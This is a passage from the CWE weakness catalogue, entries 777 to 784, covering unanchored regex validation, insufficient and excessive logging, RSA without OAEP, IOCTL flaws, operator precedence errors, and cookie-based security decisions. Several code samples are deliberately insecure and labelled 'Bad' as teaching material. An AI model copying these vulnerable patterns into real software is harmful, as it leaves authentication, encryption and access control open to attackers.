    else:
        raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
    validated = validate_ip_regex(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or \$ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

### Observed Examples

Reference	Description
<b>CVE-2022-30034</b>	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390). <a href="https://www.cve.org/CVERecord?id=CVE-2022-30034">https://www.cve.org/CVERecord?id=CVE-2022-30034</a>

## CWE-778: Insufficient Logging

Weakness ID : 778

Structure : Simple

**Abstraction** : Base

## Description

When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.

## Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

As organizations adopt cloud storage resources, these technologies often require configuration changes to enable detailed logging information, since detailed logging can incur additional costs. This could lead to telemetry gaps in critical audit logs. For example, in Azure, the default value for logging is disabled.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf	E	223	Omission of Security-relevant Information	533

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2268

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail.

### Phase: Implementation

Ensure that all security-related successes and failures can be logged. When storing data in the cloud (e.g., AWS S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to enable and capture detailed logging information.

### Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems, including unexpected costs when using a cloud environment.

### Phase: Operation

To enable storage logging using Azure's Portal, navigate to the name of the Storage Account, locate Monitoring (CLASSIC) section, and select Diagnostic settings (classic). For each of the various properties (blob, file, table, queue), ensure the status is properly set for the desired logging data. If using PowerShell, the `Set-AzStorageServiceLoggingProperty` command could be called using appropriate `-ServiceType`, `-LoggingOperations`, and `-RetentionDays` arguments.

## Demonstrative Examples

### Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

*Example Language: XML*

*(Bad)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None" />
      ...
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

*Example Language: XML*

*(Good)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="SuccessAndFailure"
          messageAuthenticationAuditLevel="SuccessAndFailure" />
      ...
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

### Example 2:

In the following Java example the code attempts to authenticate the user. If the login fails a retry is made. Proper restrictions on the number of login attempts are of course part of the retry

functionality. Unfortunately, the failed login is not recorded and there would be no record of an adversary attempting to brute force the program.

Example Language: Java

(Bad)

```
if LoginUser(){
    // Login successful
    RunProgram();
} else {
    // Login unsuccessful
    LoginRetry();
}
```

It is recommended to log the failed login action. Note that unneutralized usernames should not be part of the log message, and passwords should never be part of the log message.

Example Language: Java

(Good)

```
if LoginUser(){
    // Login successful
    log.warn("Login by user successful.");
    RunProgram();
} else {
    // Login unsuccessful
    log.warn("Login attempt by user failed, trying again.");
    LoginRetry();
}
```

### Example 3:

Consider this command for updating Azure's Storage Logging for Blob service, adapted from [REF-1307]:

Example Language: Shell

(Bad)

```
az storage logging update --account-name --account-key --services b --log d --retention 90
```

The "--log d" portion of the command says to log deletes. However, the argument does not include the logging of writes and reads. Adding the "rw" arguments to the -log parameter will fix the issue:

Example Language: Shell

(Good)

```
az storage logging update --account-name --account-key --services b --log rwd --retention 90
```

To enable Azure's storage analytic logs programmatically using PowerShell:

Example Language: Shell

(Good)

```
Set-AzStorageServiceLoggingProperty -ServiceType Queue -LoggingOperations read,write,delete -RetentionDays 5 -Context $MyContextObject
```

Notice that here, the retention has been limited to 5 days.

## Observed Examples

Reference	Description
<b>CVE-2008-4315</b>	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected <a href="https://www.cve.org/CVERecord?id=CVE-2008-4315">https://www.cve.org/CVERecord?id=CVE-2008-4315</a>
<b>CVE-2008-1203</b>	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected <a href="https://www.cve.org/CVERecord?id=CVE-2008-1203">https://www.cve.org/CVERecord?id=CVE-2008-1203</a>

Reference	Description
<b>CVE-2007-3730</b>	default configuration for POP server does not log source IP or username for login attempts <a href="https://www.cve.org/CVERecord?id=CVE-2007-3730">https://www.cve.org/CVERecord?id=CVE-2007-3730</a>
<b>CVE-2007-1225</b>	proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection <a href="https://www.cve.org/CVERecord?id=CVE-2007-1225">https://www.cve.org/CVERecord?id=CVE-2007-1225</a>
<b>CVE-2003-1566</b>	web server does not log requests for a non-standard request type <a href="https://www.cve.org/CVERecord?id=CVE-2003-1566">https://www.cve.org/CVERecord?id=CVE-2003-1566</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	2232
MemberOf		1308	CISQ Quality Measures - Security	1305	2278
MemberOf		1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2289

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

[REF-1308]Microsoft. "Enable and manage Azure Storage Analytics logs (classic)". 2023 January 3. < <https://learn.microsoft.com/en-us/azure/storage/common/manage-storage-analytics-logs> >.2023-01-24.

## CWE-779: Logging of Excessive Data

**Weakness ID** : 779

**Structure** : Simple

**Abstraction** : Base

### Description

The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.


### Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other)  <i>Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.</i>	
Non-Repudiation	Hide Activities  <i>Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.</i>	
Non-Repudiation	Hide Activities  <i>If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

#### Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the product. This may result in a denial-of-service to legitimate product users, but it will prevent the product from adversely impacting the entire system.

#### Phase: Implementation

Adjust configurations appropriately when the product is transitioned from a debug state to production.

### Observed Examples

Reference	Description
<b>CVE-2007-0421</b>	server records a large amount of data to the server log when it receives malformed headers <a href="https://www.cve.org/CVERecord?id=CVE-2007-0421">https://www.cve.org/CVERecord?id=CVE-2007-0421</a>



Reference	Description
<b>CVE-2002-1154</b>	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log <a href="https://www.cve.org/CVERecord?id=CVE-2002-1154">https://www.cve.org/CVERecord?id=CVE-2002-1154</a>

## CWE-780: Use of RSA Algorithm without OAEP

**Weakness ID :** 780

**Structure :** Simple

**Abstraction :** Variant

### Description

The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

### Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.</i>	

### Demonstrative Examples

#### Example 1:

The example below attempts to build an RSA cipher.

*Example Language: Java*

*(Bad)*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
```

```

    log("this should never happen", e);
  }
  catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
  }
  return rsa;
}

```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Example Language: Java

(Good)


```

public Cipher getRSACipher() {
  Cipher rsa = null;
  try {
    rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
  }
  catch (java.security.NoSuchAlgorithmException e) {
    log("this should never happen", e);
  }
  catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
  }
  return rsa;
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Maintenance

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

## References

[REF-694]Ronald L. Rivest and Burt Kaliski. "RSA Problem". 2003 December 0. < <http://people.csail.mit.edu/rivest/RivestKaliski-RSAPProblem.pdf> >.

[REF-695]"Optimal Asymmetric Encryption Padding". 2009 July 8. Wikipedia. < [http://en.wikipedia.org/wiki/Optimal\\_Asymmetric\\_Encryption\\_Padding](http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding) >.

## CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code

**Weakness ID** : 781

**Structure** : Simple

**Abstraction** : Variant

## Description

The product defines an IOCTL that uses METHOD\_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

### Extended Description

When an IOCTL uses the METHOD\_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1967
CanFollow	V	782	Exposed IOCTL with Insufficient Access Control	1534
CanPrecede	B	822	Untrusted Pointer Dereference	1604

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Operating\_System** : Windows NT (Prevalence = Sometimes)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	Read Memory	
Confidentiality	Execute Unauthorized Code or Commands	
	DoS: Crash, Exit, or Restart	
	<i>An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.</i>	

### Potential Mitigations

#### Phase: Implementation

If METHOD\_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD\_NEITHER is being used. See References.

#### Phase: Architecture and Design

If possible, avoid using METHOD\_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD\_BUFFERED, METHOD\_IN\_DIRECT, or METHOD\_OUT\_DIRECT.

#### Phase: Architecture and Design

#### Phase: Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

## Observed Examples

Reference	Description
<b>CVE-2006-2373</b>	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2373">https://www.cve.org/CVERecord?id=CVE-2006-2373</a>
<b>CVE-2009-0686</b>	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0686">https://www.cve.org/CVERecord?id=CVE-2009-0686</a>
<b>CVE-2009-0824</b>	DVD software allows attackers to cause a crash. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0824">https://www.cve.org/CVERecord?id=CVE-2009-0824</a>
<b>CVE-2008-5724</b>	Personal firewall allows attackers to gain SYSTEM privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5724">https://www.cve.org/CVERecord?id=CVE-2008-5724</a>
<b>CVE-2007-5756</b>	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5756">https://www.cve.org/CVERecord?id=CVE-2007-5756</a>

## Notes

**Applicable Platform**

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

**Research Gap**

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

## References

- [REF-696]Ruben Santamarta. "Exploiting Common Flaws in Drivers". 2007 July 1. < [http://reversemode.com/index.php?option=com\\_content&task=view&id=38&Itemid=1](http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1) >.
- [REF-697]Yuriy Bulygin. "Remote and Local Exploitation of Network Drivers". 2007 August 1. < <https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf> >.
- [REF-698]Anibal Sacco. "Windows driver vulnerabilities: the METHOD\_NEITHER odyssey". 2008 October. < <http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf> >.
- [REF-699]Microsoft. "Buffer Descriptions for I/O Control Codes". < <http://msdn.microsoft.com/en-us/library/ms795857.aspx> >.
- [REF-700]Microsoft. "Using Neither Buffered Nor Direct I/O". < <http://msdn.microsoft.com/en-us/library/cc264614.aspx> >.
- [REF-701]Microsoft. "Securing Device Objects". < <http://msdn.microsoft.com/en-us/library/ms794722.aspx> >.
- [REF-702]Piotr Bania. "Exploiting Windows Device Drivers". < <http://www.piotrbania.com/all/articles/ewdd.pdf> >.

**CWE-782: Exposed IOCTL with Insufficient Access Control**

Weakness ID : 782

**Structure** : Simple  
**Abstraction** : Variant

## Description

The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

## Extended Description



When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		749	Exposed Dangerous Method or Function	1456
CanPrecede		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1532

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

## Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Operating\_System** : Unix (Prevalence = Undetermined)

**Operating\_System** : Windows (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.	
Availability		
Confidentiality		

## Potential Mitigations

**Phase: Architecture and Design**

In Windows environments, use proper access control for the associated device or device namespace. See References.

## Observed Examples

Reference	Description
<b>CVE-2009-2208</b>	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2208">https://www.cve.org/CVERecord?id=CVE-2009-2208</a>
<b>CVE-2008-3831</b>	Device driver does not restrict ioctl calls to its direct rendering manager. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3831">https://www.cve.org/CVERecord?id=CVE-2008-3831</a>
<b>CVE-2008-3525</b>	ioctl does not check for a required capability before processing certain requests. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3525">https://www.cve.org/CVERecord?id=CVE-2008-3525</a>
<b>CVE-2008-0322</b>	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0322">https://www.cve.org/CVERecord?id=CVE-2008-0322</a>
<b>CVE-2007-4277</b>	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4277">https://www.cve.org/CVERecord?id=CVE-2007-4277</a>
<b>CVE-2007-1400</b>	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1400">https://www.cve.org/CVERecord?id=CVE-2007-1400</a>
<b>CVE-2006-4926</b>	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4926">https://www.cve.org/CVERecord?id=CVE-2006-4926</a>
<b>CVE-1999-0728</b>	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0728">https://www.cve.org/CVERecord?id=CVE-1999-0728</a>

## Notes

### Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD\_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

### Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

## References

[REF-701]Microsoft. "Securing Device Objects". < <http://msdn.microsoft.com/en-us/library/ms794722.aspx> >.

## CWE-783: Operator Precedence Logic Error

**Weakness ID** : 783

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses an expression in which operator precedence causes incorrect logic to be used.

### Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120
MemberOf		569	Expression Issues	2123

## Applicable Platforms

**Language** : C (Prevalence = Rarely)

**Language** : C++ (Prevalence = Rarely)

**Language** : Not Language-Specific (Prevalence = Rarely)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	Unexpected State	
Availability	<i>The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.</i>	

## Potential Mitigations

### Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

## Demonstrative Examples

### Example 1:

In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

*Example Language: C*

*(Bad)*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
    }
}
```



```

}
return isUser;
}

```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C

(Good)

```

...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...

```

### Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java

(Bad)

```

public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}

```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java

(Good)

```

...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...

```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

### Observed Examples

Reference	Description
<b>CVE-2008-2516</b>	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)". <a href="https://www.cve.org/CVERecord?id=CVE-2008-2516">https://www.cve.org/CVERecord?id=CVE-2008-2516</a>
<b>CVE-2008-0599</b>	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0599">https://www.cve.org/CVERecord?id=CVE-2008-0599</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2001-1155">https://www.cve.org/CVERecord?id=CVE-2001-1155</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP00-C	Exact	Use parentheses for precedence of operation
SEI CERT Perl Coding Standard	EXP04-PL	CWE More Abstract	Do not mix the early-precedence logical operators with late-precedence logical operators

### References

[REF-704]CERT. "EXP00-C. Use parentheses for precedence of operation". < <https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

**Weakness ID** : 784  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.



### Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1595
ChildOf		565	Reliance on Cookies without Validation and Integrity Checking	1209

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2220

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

#### Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

#### Phase: Architecture and Design

Add integrity checks to detect tampering.

#### Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

### Demonstrative Examples

#### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

*Example Language: Java*

*(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

**Example 2:**

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(Bad)

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
